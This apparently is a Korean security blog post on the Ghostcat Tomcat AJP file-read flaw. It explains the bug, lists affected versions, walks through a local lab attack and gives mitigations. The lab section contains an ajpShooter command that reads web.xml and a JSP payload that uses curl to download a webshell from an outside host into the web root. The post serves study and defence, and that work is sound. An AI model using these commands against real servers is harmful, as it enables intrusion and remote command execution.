반응형
1. Ghostcat 취약점이란?

#1. 취약점 개요

1월 초, Chaitin Tech에서 톰캣 관련 취약점이 발견되었다고 발표하였습니다. Tomcat AJP 프로토콜의 결함으로 인해 발생한 해당 취약점은 Tomcat의 webapp 디렉토리 하위에 있는 임의의 파일 접근 및 읽을 수 있고, 서버에 파일 업로드 기능이 있는 경우 이를 악용하여 서버 사이드 스크립트 파일(jsp) 업로드 및 원격코드실행이 가능합니다.

 

#2. 취약점 원리

기본적으로 Tomcat은 8080 포트를 사용하는 HTTP Connector, 8009 포트를 사용하는 AJP Connector, 두 개의 커넥터로 구성되고 있습니다. HTTP 커넥터는 우리가 자주 사용하는 HTTP 웹 서비스를 제공하는데 사용되고 있으며, AJP 커넥터는 AJP(Apache Jserv Protocol) 프로토콜을 사용하는데 HTTP 프로토콜의 성능 최적화를 위해 사용됩니다. Tomcat은 AJP를 Apache HTTPD 웹서버나 다른 톰캣 인스턴스와 데이터를 교환하기 위해 사용합니다. 따라서, Tomcat에서 디폴트로 AJP 커넥터가 활성화되어 있고, 8009 포트로 열려있기 때문에 공격자는 AJP 버그를 이용해 서버 내 파일 읽기/쓰기(파일 업로드 허용하는 경우)가 가능합니다.

 

#3. 취약한 버전

- Apache Tomcat 9.0.30 포함한 이전 버전 < 9.0.31

- Apache Tomcat 8.5.50 포함한 이전 버전 < 8.5.51

- Apache Tomcat 7.0.99 포함한 이전 버전 < 7.0.100

- Apache Tomcat 6.x

(TMI : 해당 취약점이 발견되었을 때, 톰캣 9/8/7/6의 모든 버전에 영향을 미쳐 10년 이상 휴면 상태였기 때문에 Ghostcat이라고 명명했다고 합니다.)

 

2. 실습

#1. 실습 환경 구축

- Apache Tomcat 8.5.50 버전

- Windows 10 

 

Step 1) 취약한 톰캣 버전 다운로드

https://archive.apache.org/dist/tomcat/에서 취약한 버전의 톰캣 다운로드 합니다. 

bin 디렉토리 내 윈도우 환경은 zip, 리눅스 환경은 tar.gz 파일을 다운 받으시면 됩니다. 

 

Step 2) Tomcat 서버 구동

저는 실습을 위해 Apache Tomcat 8.5.50 버전을 다운로드 받았으며, bin 디렉토리 내에 있는 [startup.bat] 파일을 실행시켜 톰캣 서버를 구동합니다. http://[ip정보]:8080 으로 접근하니 Tomcat 서버가 성공적으로 작동하고 있음을 확인할 수 있습니다.

 

Step 3) 파일 업로드 기능 추가

로컬 PC에 Tomcat 서버를 구동시켰기 때문에 바로 파일을 업로드해도 되지만, 실제 진단환경과 비슷하게 하기 위해 간단한 파일업로드 기능을 하는 게시판을 추가시켰습니다.

 

fileupload.jsp 페이지에서 test.txt 파일을 업로드한 후 [UPLOAD] 버튼을 클릭하면

 

Upload Success 라는 메시지가 출력된 후

 

본인이 지정한 위치 저의 경우 Tomcat webapps/ROOT/file 디렉터리에 업로드 되는 것을 확인할 수 있습니다.

 

#2. 공격 실습

Step 1) POC 코드 / 공격 툴 다운로드

- XRAY 툴 : https://github.com/chaitin/xray/releases/tag/0.19.2
- POC : https://github.com/00theway/Ghostcat-CNVD-2020-10487

- POC : https://github.com/laolisafe/CVE-2020-1938
- POC : https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

 

Step 2) 공격 코드 테스트

저는 위 링크 중 두번째 코드를 이용해 실습을 진행하였습니다.

 

만약, 웹 상으로 웹 서버 설정파일인 web.xml에 접근 시도 시 위와 같이 에러가 발생합니다.

 

그러나, 아래와 같이 [python ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read] 명령어를 이용해 webapps 디렉터리 하위에 존재하는 웹 설정파일을 읽을 수 있습니다.

Step 3) 공격 수행

업로드 기능을 이용해 URL 상에 있는 웹쉘을 다운로드 받아 실행시켜 보도록 하겠습니다.

(사실 위의 업로드 게시판은 확장자 필터링 기능이 없어 웹쉘을 바로 업로드할 수 있으나, 실제 진단 환경처럼 이미지나 텍스트 파일만 업로드 가능한 환경이라고 가정하였습니다.)

아래의 코드를 텍스트 파일로 저장하여 업로드합니다.

 

[<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>]

 

위는 서버에서 cmd를 이용해 cmd.jsp 파일을 다운로드하는 명령어입니다. 윈도우 환경이라 wget 명령어가 아닌 curl 명령어를 사용하였습니다.

 

read 명령어를 사용해 업로드한 파일 접근이 가능해 취약함을 판단하였고, eval 명령어를 통해 ghostcat.txt를 jsp로 실행하였습니다.

 

eval 명령어를 통해 URL 상의 cmd.jsp가 다운로드 되었고, 지정한 경로인 웹 루트에 저장되어 cmd.jsp 파일 생성 및 해당 페이지 내 cmd 기능을 통해 명령어 실행이 가능하였습니다. 

 

3. 대응방안

#1. Apache Tomcat 최신 버전 업데이트

- https://tomcat.apache.org

- https://github.com/apache/tomcat/releases

 

#2. 설정 파일 수정 후 톰캣 재기동

CASE1. AJP Connector service 사용하지 않는 경우

<CATALINA_BASE>/conf/server.xml 내

...

<!-- <Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" /> --> //주석처리

...

 

CASE2. AJP Connector service 사용하는 경우

[최신 버전으로 업데이트 후]

<CATALINA_BASE>/conf/server.xml 내

...

<Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

...

혹은

[최신 버전으로 업데이트 불가한 경우]

<CATALINA_BASE>/conf/server.xml 내

...

<Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

...

 

4. 참고자료

- https://blog.alyac.co.kr/2772

- https://www.chaitin.cn/en/ghostcat?fbclid=IwAR1UWAw46jxHg5SbieNZ66-yACav853QlfcLLWIv_3jFJBvJEzvpSGFMFo4

- https://blog.naver.com/isc0304/221832618749

- https://www.dailysecu.com/news/articleView.html?idxno=106713

- https://github.com/00theway/Ghostcat-CNVD-2020-10487 // POC

반응형

+ Recent posts